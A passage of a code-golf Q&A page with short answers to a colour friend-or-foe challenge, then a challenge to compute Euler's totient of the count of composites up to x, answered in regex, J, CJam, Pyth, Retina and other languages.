online!](https://tio.run/nexus/java-openjdk#RY7BysIwEITP6VMsPVnEPkDl99BLL3qphBzEw7amspAmJUkFkT77mqI/nuYwM9/MNHeGeugNhgAnJAuvTJCN2g/Yazji2N0QXtA5ZzRa8LPdnKMne4dQ7GHJxPQhhIgxycPRDcbE@aYuV0B/D8WKFV/a8Me5knXbqKatpcqrqnc2pk5gIfYpNzj/P0LVry7OzxD1WLo5llNyo7Eb2uZpQAMaQzrA7gD5dijXl1QUKys9XLKFWUmWilXDsuWm5la@AQ "Java (OpenJDK 8) – TIO Nexus") [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 10 bytes A straightforward solution, no tricks involved. ``` p~s"WUBRGW ``` [Try it online!](https://tio.run/nexus/brachylog2#@19QV6wUHuoU5B7@/79SaLgSAA "Brachylog – TIO Nexus") ### Explanation ``` p A permutation of the input ~s is a substring of "WUBRGW this string ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 6 bytes ``` ạ:3%3Ḃ ``` For completeness's sake. Takes two code points as argument. Yields **0** for friends, **1** for foes. [Try it online!](https://tio.run/nexus/jelly#DcUhCoBAEEDR7il@MRu2GadMMAgDw@B1vInJYhLDotGTrBdZF/7j13JvY@pTyWstz1Xy@a3H/O5DW2tqllrDcUEMUzTwQBwT1AjtQnBDFAvUkcAcFcJw/QE "Jelly – TIO Nexus") ### Background Let **n** and **m** be the code points of two input characters. By taking **|n - m|**, we need to concern ourselves only with all 2-combinations of characters. The following table shows all 2-combinations of characters the the corresponding absolute differences. ``` WU UB BR RG GW WB UR BG RW GU 2 19 16 11 16 21 3 5 5 14 ``` If we divide these integers by **3**, we get the following quotients. ``` WU UB BR RG GW WB UR BG RW GU 0 6 5 3 5 7 1 1 1 4 ``` **1**, **4**, and **7** can be mapped to **1** by taking the results modulo **3**. ``` WU UB BR RG GW WB UR BG RW GU 0 0 2 0 2 1 1 1 1 1 ``` Now we just have to look at the parity. ### How it works ``` ạ:3%3Ḃ Main link. Left argument: n (code point). Right argument: m (code point) ạ Absolute difference; yield |n - m|. :3 Integer division by 3, yielding |n - m| / 3. %3 Modulo 3, yielding |n - m| / 3 % 3. Ḃ Parity bit; yield |n - m| / 3 % 3 & 1. ``` [Answer] # Cubix, 11 bytes A Cubix implementation of Arnauld's solution. ``` U%O@A*'g%2W ``` # Usage Input the two characters, and it outputs `0` for friends and `1` for foes. [Try it here.](https://ethproductions.github.io/cubix/?code=VSVPQEEqJ2clMlc=&input=V1U=) # Explanation The code can be expanded like this. ``` U % O @ A * ' g % 2 W . . . . . . . . . . . . . ``` The characters are executed in this order (excluding control flow): ``` A*'g%2%O@ A # Read all input as character codes * # Multiply the last two character codes % # Modulo the result by 'g # 103 % # And modulo that by 2 # 2 O # Output the result ... @ # ... and terminate ``` [Answer] # [Python 2](https://docs.python.org/2/), 26 bytes ``` lambda a:a in"GWUBRGRBUWG" ``` [Try it online!](https://tio.run/nexus/python2#fYwxCsMwEMD2vEJkipc@INDlltsPjlu6uBSDIU1DnP@7HjtVoxAq90ff8vv5yuQ1U/dZw8XUxEPnXj4nbVjmcFwQwxQNPBDHBDVGeGvHVq8lrROD46z7tZSlpTT9HAQ3RLFAHQnMUSEM/3PoXw "Python 2 – TIO Nexus") [Answer] ## AWK, 23 Bytes ``` {$0="WUBRGWGRBUW"~$1}1 ``` Example usage: awk '{$0="WUBRGWGRBUW"~$1}1' <<< UB This prints `1` if the pair is a friend, `0` otherwise. I wanted to do something clever, but everything I thought of would be longer. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 12 bytes ``` “WUBRGW”ŒBẇ@ ``` Outputs `1` for allies, `0` for enemies. [Try it online!](https://tio.run/nexus/jelly#@/@oYU54qFOQe/ijhrlHJzk93NXu8P//f/cgAA "Jelly – TIO Nexus") **Explanation** ``` “WUBRGW”ŒBẇ@ Main link “WUBRGW” The string "WUBRGW" ŒB Bounce; yields "WUBRGWGRBUW" ẇ@ Check if the input exists in that string ``` [Answer] # Ruby, 28 bytes Outputs true for friend, false for foe: ``` p'WUBRGWGRBUW'.include?$**'' ``` The ungolfed version isn't much different: ``` p 'WUBRGWGRBUW'.include?(ARGV.join('')) ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 7 bytes Adaptation of the mod-trick from [Jonathan's Jelly answer](https://codegolf.stackexchange.com/a/112793/47066) ``` Æ451bsè ``` [Try it online!](https://tio.run/nexus/05ab1e#@3@4zcTUMKn48Ir//6MtTHUUzMxiv@bl6yYnJmekAgA) or as a [Test suite](https://tio.run/nexus/05ab1e#BcGxCYBADIbRVT7O1kbQxjJN@h9CelcQhFtAV3ELiwx2vtcyCMOEHE8isUCGi3TSCGGOEg8sUeBGivA2Xb2eUfe6LcdZ7@itvp362jx@) **Explanation** ``` Æ # reduced subtraction 451b # 451 to binary (111000011) sè # index into this with the result of the reduced subtraction ``` [Answer] ## [GolfScript](http://www.golfscript.com/golfscript/), 7 bytes ``` ~*51%9> ``` Takes two code points as input. [Try it online!](https://tio.run/nexus/golfscript#U1dQV62urtWPVVdQ1/pfp2VqqGpp97@gVv9/eKiCgkKoE5BwCgISQe5Awj0cSISDxEJBYk4gsSCQmHsoAA "GolfScript – TIO Nexus") (Test suite which converts the input format for convenience.) A GolfScript port of [my CJam answer](https://codegolf.stackexchange.com/a/112814/8478) (which technically, is a CJam port of the result of my GolfScript brute forcer... uhhh...). However, since GolfScript gets modulo with negative inputs right, there's a fun alternative solution at the same byte count which uses `4` for foes instead of `1`: ``` ~-)9%4& ``` [Try it online!](https://tio.run/nexus/golfscript#U1dQV62urtWPVVdQ1/pfp6tpqWqi9r@gVv9/eKiCgkKoE5BwCgISQe5Awj0cSISDxEJBYk4gsSCQmHsoAA "GolfScript – TIO Nexus") ``` xy x y x-y +1 %9 &4 WU 87 85 2 3 3 0 UB 85 66 19 20 2 0 BR 66 82 -16 -15 3 0 RG 82 71 11 12 3 0 GW 71 87 -16 -15 3 0 WB 87 66 21 22 4 4 UR 85 82 3 4 4 4 BG 66 71 -5 -4 5 4 RW 82 87 -5 -4 5 4 GU 71 85 -14 -13 5 4 ``` [Answer] # Java 7, 38 bytes ``` int b(int a,int b){return(a-b)%9%5%3;} ``` Port from [*@Mistah Figgins*' Befunge-98 answer](https://codegolf.stackexchange.com/a/112785/52210) is the shortest in Java 7 from the answers posted so far. As for the others: **39 bytes:** Port from [*@Arnauld*'s JavaScript (ES6) answer](https://codegolf.stackexchange.com/a/112778/52210). ``` int a(int a,int b){return a*b%24%11%2;} ``` **39 bytes:** Port from [*@MartinEnder*'s CJam answer](https://codegolf.stackexchange.com/a/112814/52210) ``` Object e(int a,int b){return a*b%51>9;} ``` **47 bytes:** Port from [*@Steadybox*' C answer](https://codegolf.stackexchange.com/a/112788/52210) ``` Object d(int a,int b){return(a=a*b%18)>7|a==3;} ``` **52 bytes:** Port from [*@Lynn*'s Python 2 answer](https://codegolf.stackexchange.com/a/112775/52210) ``` Object c(String s){return"WUBRGWGRBUW".contains(s);} ``` *NOTE: Skipped answers which uses primes / palindromes and alike, because those are nowhere near short in Java. ;) ~~TODO: Coming up with my own answer.. Although I doubt it's shorter than most of these.~~* [**Try all here.**](https://tio.run/nexus/java-openjdk#rZJRS8MwFIXf/RWXQKHRWdbp0G10YEHzJEJH6cPYQ9pmWtmy0WSKzP32mV67brIKlfnQS9ucc@5NvmyTGVcKHtdnAEpznSWQSQ3cxtoqakzXudCrXAI/j63OteW6Vmew@WmI6ww2v4yp1bO61tWh/il@FYmGxB7pPJPPoHZ6EoV@wCIW@GFEnGQhNc@kshWtcaf1Db1iRveWDm8@uefVtRW/bq3rDnvGYBzLVTwzjtL4tshSmJtRyoHHE@C0ODCA0YfSYu4sVtpZmiVtk4c8EzJVfSB0gJLpIq82Cn2Q4h12MWswOyYtIKFfVD8oasCKyiL8j9VHTYAahpqIEdiUI9QNMTZ7dycELgxI5SQvPL/Tdpu2oPpwKTWrZFCNWRsTD8uY@KSYxPN0vhKYlBicDSzpgSU9qbnwvCmfqe8o0TQKr8Fx3kzapeC4070U80w0J488Q@TpI/MAaTOk7eN7gO8MlREqwwbk2/9BfhdzMvn94TdHv/eczL66RX9AXzyb7fYL) --- *EDIT: Ok, came up with something myself that isn't too bad:* # 50 bytes: ``` Object c(int a,int b){return(a=a*b%18)>3&a<7|a<1;} ``` **Explanation:** ``` ab a b a*b %18 WU 87 85 7395 15 UB 85 66 5610 12 BR 66 82 5412 12 RG 82 71 5822 8 GW 71 87 6177 3 UW 85 87 7395 15 BU 66 85 5610 12 RB 82 66 5412 12 GR 71 82 5822 8 WG 87 71 6177 3 WB 87 66 5742 0 UR 85 82 6970 4 BG 66 71 4686 6 RW 82 87 7134 6 GU 71 85 6035 5 BW 66 87 5742 0 RU 82 85 6970 4 GB 71 66 4686 6 WR 87 82 7134 6 UG 85 71 6035 5 ``` All enemies are either in the range 4-6 (inclusive) or 0. EDIT2: Hmm.. I just noticed it's very similar to *@Steadybox*' answer.. :( [Answer] # PHP, 31 bytes ``` echo!strstr(WBGURWRUGBW,$argn); ``` Run with `echo AB | php -nR '<code>`, where `A` and `B` are the two colors. `strtr` returns the string from the position where the input is found; with `WBGURWRUGBW` as haystack this returns a truthy string if the colors are foes; empty string if not. `!` turns the truthy string to `false`, resulting in empty output and the empty string to `true`, resulting in output `1`. ]
[Question] [ No, I don't mean \$\phi = 1.618...\$ and \$π = 3.14159...\$. I mean the *functions*. * [\$\phi(x)\$](https://en.wikipedia.org/wiki/Euler%27s_totient_function) is the number of integers less than or equal to \$x\$ that are relatively prime to \$x\$. * [\$π(x)\$](https://en.wikipedia.org/wiki/Prime-counting_function) is the number of primes less than or equal to \$x\$. * Let's say that "not pi" is then \$\bar{\pi}(x)\$ and define it to be the number of *composites* less than or equal to \$x\$. ## Task Given a strictly positive integer \$x\$, **calculate** \$\phi(\bar{\pi}(x))\$. Scoring is in bytes. ## Examples Each line consists of the input (from 1 to 100, inclusive) and the corresponding output separated by a space. ``` 1 0 2 0 3 0 4 1 5 1 6 1 7 1 8 2 9 2 10 4 11 4 12 2 13 2 14 6 15 4 16 6 17 6 18 4 19 4 20 10 21 4 22 12 23 12 24 6 25 8 26 8 27 16 28 6 29 6 30 18 31 18 32 8 33 12 34 10 35 22 36 8 37 8 38 20 39 12 40 18 41 18 42 12 43 12 44 28 45 8 46 30 47 30 48 16 49 20 50 16 51 24 52 12 53 12 54 36 55 18 56 24 57 16 58 40 59 40 60 12 61 12 62 42 63 20 64 24 65 22 66 46 67 46 68 16 69 42 70 20 71 20 72 32 73 32 74 24 75 52 76 18 77 40 78 24 79 24 80 36 81 28 82 58 83 58 84 16 85 60 86 30 87 36 88 32 89 32 90 48 91 20 92 66 93 32 94 44 95 24 96 70 97 70 98 24 99 72 100 36 ``` [Use this link](http://www.wolframalpha.com/input/?i=totient%28x-1-pi%28x%29%29+where+x%3D60) to calculate the expected output for any input. Also, a list of inputs and outputs for \$x \le 1000\$ is provided [here on pastebin](http://pastebin.com/Mh8akEcr). (Generated with [this Minkolang program](http://play.starmaninnovations.com/minkolang/?code=l3%3B%5Bi1%2BNii1%2B9M-9%24MNlO%5D%2E).) --- ## Leaderboards Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the leaderboard snippet: ``` ## [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` var QUESTION_ID=63710,OVERRIDE_USER=12914;function answersUrl(e){return"http://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"http://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # Regex (.NET), ~~122~~ 113 bytes ``` ^(?=((?=.*$(?<=^(\3+(.+.))(.*?(?>(.\4)?)))).)+(.*))((?=.*(?=\6$)(?<=(?!(.+.)\8*(?=\6$)(?<=^\8+))(.+?(?>\9?)))).)+ ``` Assuming input and output are in unary, and the output is taken from the main match of the regex. Breakdown of the regex: * `^(?=((?=.*$(?<=^(\3+(.+.))(.*?(?>(.\4)?)))).)+(.*))` calculates π̅(x) and captures the rest of the string in capturing group 6 for assertion in the second part. + `.*$` sets the pointer to the end of the string so that we have the whole number `x` in one direction. + `(?<=^(\3+(.+.))(.*?(?>(.\4)?)))` matches from right to left and checks for composite number by looping from x to 0. - `(.*?(?>(.\4)?))` is a "variable" which starts from 0 in the first iteration and continues from the number in previous iteration and loops up to x. Since the smallest composite number is 4, `(.\4)?` never fails to match if capturing group 4 is available. - `^(\3+(.+.))` checks what is left by the "variable" above (i.e. `x - "variable"`) whether it is a composite number. * `((?=.*(?=\6$)(?<=(?!(.+.)\8*(?=\6$)(?<=^\8+))(.+?(?>\9?)))).)+` calculates φ(π̅(x)), by limiting the left-to-right operations with `(?=\6$)`. + `.*(?=\6$)` sets the pointer to position π̅(x). Let's denote y = π̅(x). + `(?<=(?!(.+.)\8*(?=\6$)(?<=^\8+))(.+?(?>\9?)))` matches from right to left and checks for relative prime by looping from (y - 1) to 0 - `(.+?(?>\9?))` is a "variable" which starts from 1 in the first iteration and continues from the number in previous iteration and loops up to y - `(?!(.+.)\8*(?=\6$)(?<=^\8+))` matches from **left to right** 1 and checks whether the "variable" and y are relative prime. * `(.+.)\8*(?=\6$)` picks a divisor of "variable" which is larger than 1, and a side effect is that we have whole number y on the left. * `(?<=^\8+)` checks whether the divisor of "variable" is also the divisor of y. 1 In .NET, look-ahead **sets** the direction to LTR instead of following the current direction; look-behind **sets** the direction to RTL instead of reversing the direction. Test the regex at [RegexStorm](http://regexstorm.net/tester). **Revision 2** drops non-capturing groups and uses atomic groups instead of conditional syntax. [Answer] # [GS2](https://github.com/nooodl/gs2), ~~12~~ 10 bytes ``` V@'◄l.1&‼l ``` The source code uses the [CP437](https://en.wikipedia.org/wiki/Code_page_437#Characters) encoding. [Try it online!](http://gs2.tryitonline.net/#code=VkAn4peEbC4xJuKAvGw&input=MTAwMA) ### Test run ``` $ xxd -r -ps <<< 564027116c2e3126136c > phinotpi.gs2 $ wc -c phinotpi.gs2 10 phinotpi.gs2 $ gs2 phinotpi.gs2 <<< 1000 552 ``` ### How it works ``` V Read an integer n from STDIN. @ Push a copy of n. ' Increment the copy of n. ◄l Push 1 and call primes; push the list of all primes below n+1. . Count the primes. 1 Subtract the count from n. & Decrement to account for 1 (neither prime nor composite). ‼l Push 3 and call primes; apply Euler's totient function. ``` [Answer] # J, ~~15~~ 14 bytes ``` 5 p:<:-_1 p:>: ``` This is a tacit, monadic verb. Try it online with [J.js](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(5%20p%3A%3C%3A-_1%20p%3A%3E%3A)%201000). ### How it works ``` Right argument: y >: Increment y. _1 p: Calculate the number of primes less than y+1. <: Decrement y. - Calculate the difference of the results to the left and right. 5 p: Apply Euler's totient function to the difference. ``` [Answer] ## [Seriously](https://github.com/Mego/Seriously), 27 bytes ``` ,;R`p`MΣ(-D;n;;╟@RZ`ig1=`MΣ ``` Yay, I beat CJam! [Try it online](http://seriouslylang.herokuapp.com/link/code=2c3b526070604de4282d443b6e3b3bc740525a606967313d604de4&input=1000) Explanation (`a` refers to top of stack, `b` refers to second-from-top): ``` ,; take input and duplicate it R`p`MΣ push sum([is_prime(i) for i in [1,...,a]]) (otherwise known as the pi function) (-D rotate stack right by 1, subtract top two elements, subtract 1, push (@ could be used instead of (, but I was hoping the unmatched paren would bother someone) ;n;; dupe top, push a b times, dupe top twice (effectively getting a a+1 times) ╟ pop n, pop n elements and append to list, push @ swap top two elements RZ push [1,...,a], zip a and b `ig1=` define a function: i flatten list g1= compute gcd(a,b), compare to 1 (totient function) MΣ perform the function a on each element of b, sum and push ``` Note: since the posting of this answer, I have added the pi and phi functions to Seriously. Here is a noncompetitive answer with those functions: ``` ,;▓1-@-▒ ``` Explanation (some commands are shifted to not overlap others): ``` , get input (hereafter referred to as x) ; duplicate x ▓ calculate pi(x) (we'll call this p) 1- calculate 1-p @- bring x back on top, calculate x-1-p (not pi(x)) ▒ calculate phi(not pi(x)) ``` [Answer] # Julia, ~~52~~ 50 bytes ``` x->count(i->gcd(i,p)<2,1:(p=x-endof(primes(x))-1)) ``` This creates an unnamed function that accepts and integer and returns an integer. To call it, give it a name, e.g. `f=x->...`. Ungolfed: ``` function phinotpi(x::Integer) # The number of composites less than or equal to x is # x - the number of primes less than or equal to x - # 1, since 1 is not composite p = x - length(primes(x)) - 1 # Return the number of integers i between 1 and p such # that gcd(i, p) = 1. This occurs when i is relatively # prime to p. count(i -> gcd(i, p) == 1, 1:p) end ``` [Answer] # Mathematica, 24 bytes ``` EulerPhi[#-PrimePi@#-1]& ``` [Answer] ## [Minkolang 0.11](https://github.com/elendiastarman/Minkolang), 12 bytes (NOT competitive) **This answer is NOT competitive.** I implemented pi and phi as built-ins before I posted the question, which gives me an unfair advantage. I post this only for those who are interested in the language. ``` nd9M-1-9$MN. ``` [Try it here.](http://play.starmaninnovations.com/minkolang/?code=nd9M-1-9%24MN%2E&input=90) ### Explanation ``` n Read in integer from input d Duplicate 9M Pops off the top of stack as x and pushes pi(x) - Subtracts the top two elements on the stack (x - pi(x)) 1- Subtracts 1 (x-1 - pi(x)) 9$M Pops off the top of stack as x and pushes phi(x) (phi(x-1 - pi(x))) N. Outputs as integer and stops. ``` [Answer] # Pyth, 14 bytes ``` JlftPTSQ/iLJJ1 ``` [Demonstration](https://pyth.herokuapp.com/?code=JlftPTSQ%2FiLJJ1&input=100&debug=0), [Verifier](https://pyth.herokuapp.com/?code=V.z%3DQshcN%29JlftPTSQK%2FiLJJ1%2CqsecN%29KK&input=%22Ignore%22%0A1+0+%0A2+0+%0A3+0+%0A4+1+%0A5+1+%0A6+1+%0A7+1+%0A8+2+%0A9+2+%0A10+4+%0A11+4+%0A12+2+%0A13+2+%0A14+6+%0A15+4+%0A16+6+%0A17+6+%0A18+4+%0A19+4+%0A20+10+%0A21+4+%0A22+12+%0A23+12+%0A24+6+%0A25+8+%0A26+8+%0A27+16+%0A28+6+%0A29+6+%0A30+18+%0A31+18+%0A32+8+%0A33+12+%0A34+10+%0A35+22+%0A36+8+%0A37+8+%0A38+20+%0A39+12+%0A40+18+%0A41+18+%0A42+12+%0A43+12+%0A44+28+%0A45+8+%0A46+30+%0A47+30+%0A48+16+%0A49+20+%0A50+16+%0A51+24+%0A52+12+%0A53+12+%0A54+36+%0A55+18+%0A56+24+%0A57+16+%0A58+40+%0A59+40+%0A60+12+%0A61+12+%0A62+42+%0A63+20+%0A64+24+%0A65+22+%0A66+46+%0A67+46+%0A68+16+%0A69+42+%0A70+20+%0A71+20+%0A72+32+%0A73+32+%0A74+24+%0A75+52+%0A76+18+%0A77+40+%0A78+24+%0A79+24+%0A80+36+%0A81+28+%0A82+58+%0A83+58+%0A84+16+%0A85+60+%0A86+30+%0A87+36+%0A88+32+%0A89+32+%0A90+48+%0A91+20+%0A92+66+%0A93+32+%0A94+44+%0A95+24+%0A96+70+%0A97+70+%0A98+24+%0A99+72+%0A100+36&debug=0) We calculate composites using a simple filter, take its length, and save it to `J`. Then, we take the gcd of `J` with every number up to `J`, and count how many results equal 1. [Answer] # CJam, 28 bytes ``` ri){mf1>},,_,f{){_@\%}h)=}1b ``` Try it [this fiddle](http://cjam.aditsu.net/#code=ri)%7Bmf1%3E%7D%2C%2C_%2Cf%7B)%7B_%40%5C%25%7Dh)%3D%7D1b&input=1000) in the CJam interpreter or [verify all test cases at once](http://cjam.aditsu.net/#code=qN%2F%7B~%5C%3AR%3B%0A%20%20Ri)%7Bmf1%3E%7D%2C%2C_%2Cf%7B)%7B_%40%5C%25%7Dh)%3D%7D1b%0A%3D%7D%2F&input=1%200%20%0A2%200%20%0A3%200%20%0A4%201%20%0A5%201%20%0A6%201%20%0A7%201%20%0A8%202%20%0A9%202%20%0A10%204%20%0A11%204%20%0A12%202%20%0A13%202%20%0A14%206%20%0A15%204%20%0A16%206%20%0A17%206%20%0A18%204%20%0A19%204%20%0A20%2010%20%0A21%204%20%0A22%2012%20%0A23%2012%20%0A24%206%20%0A25%208%20%0A26%208%20%0A27%2016%20%0A28%206%20%0A29%206%20%0A30%2018%20%0A31%2018%20%0A32%208%20%0A33%2012%20%0A34%2010%20%0A35%2022%20%0A36%208%20%0A37%208%20%0A38%2020%20%0A39%2012%20%0A40%2018%20%0A41%2018%20%0A42%2012%20%0A43%2012%20%0A44%2028%20%0A45%208%20%0A46%2030%20%0A47%2030%20%0A48%2016%20%0A49%2020%20%0A50%2016%20%0A51%2024%20%0A52%2012%20%0A53%2012%20%0A54%2036%20%0A55%2018%20%0A56%2024%20%0A57%2016%20%0A58%2040%20%0A59%2040%20%0A60%2012%20%0A61%2012%20%0A62%2042%20%0A63%2020%20%0A64%2024%20%0A65%2022%20%0A66%2046%20%0A67%2046%20%0A68%2016%20%0A69%2042%20%0A70%2020%20%0A71%2020%20%0A72%2032%20%0A73%2032%20%0A74%2024%20%0A75%2052%20%0A76%2018%20%0A77%2040%20%0A78%2024%20%0A79%2024%20%0A80%2036%20%0A81%2028%20%0A82%2058%20%0A83%2058%20%0A84%2016%20%0A85%2060%20%0A86%2030%20%0A87%2036%20%0A88%2032%20%0A89%2032%20%0A90%2048%20%0A91%2020%20%0A92%2066%20%0A93%2032%20%0A94%2044%20%0A95%2024%20%0A96%2070%20%0A97%2070%20%0A98%2024%20%0A99%2072%20%0A100%2036). ### How it works ``` ri Read an integer N from STDIN. ) Increment it. { }, Filter; for each I in [0 ... N]: mf Push I's prime factorization. 1> Discard the first prime. If there are primes left, keep I. , Count the kept integers. Result: C _, Push [0 ... C-1]. f{ } For each J in [0 ... C-1], push C and J; then: ) Increment J. { }h Do: _ Push a copy of the topmost integer.. @ Rotate the integer below on top of it. \% Take that integer modulo the other integer. If the residue is non-zero, repeat the loop. This computes the GCD of C and J+1 using the Euclidean algorithm. ) Increment the 0 on the stack. This pushes 1. = Push 1 if the GCD is 1, 0 if not. 1b Add all Booleans. ``` [Answer] # Python, 137 ~~139~~ ``` n=input() print n,len([b for b in range(len([a for a in range(n)if not all(a%i for i in xrange(2,a))]))if all(b%i for i in xrange(2,b))]) ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 48 bytes ``` .+ $* M&`(..+)\1+$ .+ $* (?!(..+)\1*$(?<=^\1+)). ``` [Try it online!](https://tio.run/nexus/retina#LctNCoMwGAbh/dxCiJIYCL5fEn9AcemqNyjF@18iFdrtM0zvr7uliBt5DbdPKYa3ouNH/uz@NDp/7sfnaSGk1oSRKVRmFlY2NCEhQxkVVNGMFrSiDZuw5zEsYwWrXw "Retina – TIO Nexus") ### Explanation ``` .+ $* ``` Convert input to unary. ``` M&`(..+)\1+$ ``` Count composite numbers not greater than the input by counting how often we can match a string that consists of at least two repetitions of a factor of at least 2. ``` .+ $* ``` Convert to unary again. ``` (?!(..+)\1*$(?<=^\1+)). ``` Compute φ by counting from how many positions it is not possible to find a factor (of at least 2) of the suffix from that position which is also a factor of the prefix (if we do find such a factor then this `i <= n` shares a factor with `n` is therefore not coprime to it). The `.` at the end ensures that we don't count zero (for which we can't find a factor of at least 2). [Answer] ## Regex (.NET), ~~88~~ 86 bytes ``` ^(?=((?=(..+)\2+$)?.)+)(?=(?<-2>.)*(.+))(?=(((?!(..+)\6*(?<=^\6+)\3$))?.)*\3)(?<-5>.)* ``` [Try it online!](https://tio.run/nexus/retina#JYvbCcMwFEP/tUXABV@bmuj6kQSaeoJuYEL2X8K12w@B0NF52Dt4GNc/y33ZetqZELw09UZqEC9zqa@nvoM4O8hvGL/l/ytu0PNqZfRoZDquRZlKnkpnJxQRCRkFG3Yc4AoSVDCCCcxgATdwBw/oCh2OQiM0QfMX "Retina – TIO Nexus") (As a Retina program.) Uses the same I/O as [n̴̖̋h̷͉̃a̷̭̿h̸̡̅ẗ̵̨́d̷̰̀ĥ̷̳ 's answer](https://codegolf.stackexchange.com/a/63738/8478), i.e. unary input and it matches a substring of the length of the result. It might be possible to shorten this further by replacing one or both of the balancing groups with forward references. Alternative at the same byte count: ``` ^(?=((?=(..+)\2+$)?.)+)(?=(?<-2>.)*(.+))(?=(?((..+)\4*(?<=^\4+)\3$).|(.))*\3)(?<-5>.)* ``` There are also some alternatives for the first half, e.g. using a negative lookahead instead of a positive one for the compositive numbers, or using a conditional there as well. ### Explanation I'll assume that you have a basic understanding of [balancing groups](https://stackoverflow.com/a/17004406/1633117), but in short, capturing groups in .NET are stacks (so each time you reuse the capturing group the new capture is pushed on top) and `(?<-x>...)` pops a capture from stack `x`. That's very helpful for counting things. ``` ^ # Only look at matches from the beginning of the input. (?= # First, we'll compute the number of composites less than # or equal to the input in group 2. This is done in a # lookahead so that we don't actually advance the regex # engine's position in the string. ( # Iterate through the input, one character at a time. (?=(..+)\2+$)? # Try to match the remainder of the input as a # composite number. If so the (..+) will add one # one capture onto stack 2. Otherwise, this lookahead # is simply skipped. . )+ ) (?= # It turns out to be more convienient to work with n minus # the number of composites less than or equal to n, and to # have that a single backreference instead of the depth of # a stack. (?<-2>.)* # Match one character for each composite we found. (.+) # Capture the remainder of the input in group 3. ) (?= # Now we compute the totient function. The basic idea is # similar to how we computed the number of composites, # but there are a few differences. # a) Of course the regex is different. However, this one # is more easily expressed as a negative lookahead (i.e. # check that the values don't share a factor), so this # won't leave a capture on the corresponding stack. We # fix this by wrapping the lookahead itself in a group # and making the entire group optional. # b) We only want to search up the number of composites, # not up to the input. We do this by asserting that we # can still match our backreference \3 from earlier. ( # Iterate through the 